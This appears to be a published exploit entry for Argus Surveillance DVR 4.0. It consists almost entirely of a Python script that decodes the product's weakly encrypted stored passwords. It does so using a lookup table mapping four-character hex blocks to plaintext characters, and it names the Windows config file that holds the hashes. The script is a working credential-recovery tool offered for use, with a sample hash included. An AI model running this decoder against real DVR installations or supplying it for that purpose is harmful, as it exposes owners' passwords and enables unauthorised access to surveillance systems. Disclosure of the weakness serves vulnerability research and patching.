Argus Surveillance DVR 4.0 Weak Password Encryption

`# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption  
# Exploit Author: Salman Asad (@deathflash1411)  
# Date: 12.07.2021  
# Version: Argus Surveillance DVR 4.0  
# Tested on: Windows 7 x86 (Build 7601) & Windows 10  
# Reference: https://deathflash1411.github.io/blog/cracking-argus-surveillance-passwords  
  
# Note: Argus Surveillance DVR 4.0 configuration is present in   
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini  
  
# I'm too lazy to add special characters :P  
characters = {  
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',  
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',  
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',  
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',  
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',  
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',  
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',  
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',  
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',  
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',  
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',  
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z'}  
  
# ASCII art is important xD  
banner = '''  
#########################################  
# _____ Surveillance DVR 4.0 #  
# / _ \_______ ____ __ __ ______ #  
# / /_\ \_ __ \/ ___\| | \/ ___/ #  
# / | \ | \/ /_/ > | /\___ \ #  
# \____|__ /__| \___ /|____//____ > #  
# \/ /_____/ \/ #  
# Weak Password Encryption #  
############ @deathflash1411 ############  
'''  
print(banner)  
  
# Change this :)  
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"  
if (len(pass_hash)%4) != 0:  
print("[!] Error, check your password hash")  
exit()  
split = []  
n = 4  
for index in range(0, len(pass_hash), n):  
split.append(pass_hash[index : index + n])  
  
for key in split:  
if key in characters.keys():  
print("[+] " + key + ":" + characters[key])  
else:  
print("[-] " + key + ":Unknown")  
  
`